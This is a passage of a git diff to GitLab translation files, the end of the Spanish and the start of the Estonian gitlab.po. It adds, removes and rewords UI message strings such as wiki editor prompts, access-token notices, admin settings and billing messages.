@@ -34881,12 +34698,6 @@ msgstr "Desafortunadamente, su mensaje de correo electrónico a GitLab no pudo s
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr "Desinstalar"
-
-msgid "Uninstalling"
-msgstr "Desinstalando"
-
msgid "Units|ms"
msgstr "ms"
@@ -34977,21 +34788,6 @@ msgstr "5 días o más"
msgid "UnscannedProjects|60 or more days"
msgstr "60 días o más"
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr "Fuera de fecha"
-
-msgid "UnscannedProjects|Project scanning"
-msgstr "Análisis de proyectos"
-
-msgid "UnscannedProjects|Untested"
-msgstr "No probado"
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr "No programado"
@@ -35127,9 +34923,6 @@ msgstr "Actualizado"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "Actualizado %{updated_at} por %{updated_by}"
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr "Actualizaciones"
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr "Se ha eliminado el usuario correctamente del proyecto."
msgid "User was successfully updated."
msgstr "Usuario actualizado correctamente."
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr "La validación ha fallado."
msgid "Value"
msgstr "Valor"
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr "Varias opciones de configuración que afectan el rendimiento de GitLab."
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr "Información de verificación"
-
msgid "Verification status"
msgstr "Estado de la verificación"
@@ -36079,6 +35881,9 @@ msgstr "Ver el panel de control completo"
msgid "View full log"
msgstr "Ver registro completo"
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr "Ver etiquetas de grupo"
@@ -36097,9 +35902,6 @@ msgstr "Ver en GitLab"
msgid "View job"
msgstr "Ver la tarea"
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr "Ver el registro de tareas"
@@ -36133,6 +35935,9 @@ msgstr "Ver panel de control de rendimiento."
msgid "View project"
msgstr "Ver proyecto"
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr "Ver etiquetas de proyectos"
@@ -36202,7 +36007,10 @@ msgstr "Desconocido"
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,8 +36151,8 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
-msgstr "Todas"
+msgid "VulnerabilityStatusTypes|All statuses"
+msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr "Confirmadas"
@@ -36475,6 +36283,9 @@ msgstr "Advertencia:"
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr "Bienvenido a la visita guiada de GitLab"
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr "¿Qué está buscando?"
@@ -36784,6 +36604,9 @@ msgstr "¿Qué le describe mejor?"
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr "Puedes crear unos nuevos en las opciones de configuración de sus tokens
msgid "You can easily contribute to them by requesting to join these groups."
msgstr "Puede contribuir fácilmente pidiendo unirse a estos grupos."
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr "Puede enviar un merge request para tener este cambio en la rama original."
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr "Debe proporcionar una contraseña válida"
msgid "You must provide your current password in order to change it."
msgstr "Debe introducir su contraseña actual para poder cambiarla."
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr "Este correo electrónico se utilizará para operaciones basadas en la web, como por ejemplo, realizar ediciones y merges."
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr "Tu dirección de correo electrónico de notificación por defecto se utilizará para las notificaciones de la cuenta si no se establece una dirección de correo electrónico específica para el %{openingTag}grupo%{closingTag}."
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr "Su licencia"
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr "Su dirección de correo electrónico principal se utilizará para la detección de avatar."
-
msgid "Your Projects (default)"
msgstr "Sus proyectos (por defecto)"
msgid "Your Projects' Activity"
msgstr "Actividad de sus proyectos"
-msgid "Your Public Email will be displayed on your public profile."
-msgstr "Su dirección de correo electrónico pública se mostrará en su perfil público."
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "Sus Claves SSH (%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr "Su lista de tareas pendientes"
@@ -37908,12 +37716,18 @@ msgstr "Se ha producido un error al editar su comentario. Por favor, compruebe s
msgid "Your comment will be discarded."
msgstr "Su comentario será descartado."
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr "Se interrumpirán sus servicios de despliegue, tendrá que arreglarlos manualmente después del cambio de nombre."
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr "Su perfil"
@@ -38007,6 +37824,9 @@ msgstr "¡Su límite de proyecto es %{limit} proyectos! Por favor, contacte con
msgid "Your projects"
msgstr "Tus proyectos"
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr "permitido fallar"
msgid "already being used for another group or project %{timebox_name}."
msgstr "ya se está utilizando para otro grupo o proyecto %{timebox_name}."
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr "no se puede habilitar a menos que todos los dominios tengan certificados TLS"
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr "no se puede modificar"
@@ -38204,9 +38039,6 @@ msgstr "no se puede bloquer"
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr "no se ha podido leer la clave privada, ¿La contraseña es correcta?"
msgid "created"
msgstr "creado"
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr "habilitado"
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr "encriptado: debe ser :requerido, :opcional o :migrando"
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr "las entradas no pueden tener más de 255 caracteres"
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] "de %d trabajo"
msgstr[1] "de %d trabajos"
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr "grupo"
@@ -39060,6 +38895,9 @@ msgstr "Merge"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Merge fallido."
@@ -39096,9 +38934,6 @@ msgstr "Más información"
msgid "mrWidget|Open in Web IDE"
msgstr "Abrir en Web IDE"
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr "pipeline bloqueado. El pipeline para este merge request requiere la ejecución una acción manualmente para continuar"
-
msgid "mrWidget|Plain diff"
msgstr "Diff normal"
@@ -39159,8 +38994,8 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr "Se ha eliminado el branch de origen"
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
-msgstr "la rama de origen está %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} en relación a la rama de destino"
+msgid "mrWidget|The source branch is %{link} the target branch"
+msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr "El branch de origen está siendo eliminado"
@@ -39240,8 +39075,11 @@ msgstr ""
msgid "must be greater than start date"
msgstr "debe ser mayor que la fecha de inicio"
-msgid "must contain only valid frameworks"
-msgstr "debe contener sólo entornos de trabajo válidos"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
+msgstr ""
msgid "my-awesome-group"
msgstr "mi-asombroso-grupo"
@@ -39303,6 +39141,9 @@ msgstr "%{item}, y %{lastItem}"
msgid "on track"
msgstr "a tiempo"
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr "incidencia abierta"
@@ -39586,6 +39427,9 @@ msgstr "nombre de la etiqueta"
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr "la siguiente incidencia(s)"
@@ -39688,6 +39532,9 @@ msgstr "ver el blob"
msgid "view the source"
msgstr "ver el código fuente"
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/et_EE/gitlab.po b/locale/et_EE/gitlab.po
index e954e5f16e2..cdfc8b3d7d0 100644
--- a/locale/et_EE/gitlab.po
+++ b/locale/et_EE/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: et\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:23\n"
+"PO-Revision-Date: 2021-07-01 21:05\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
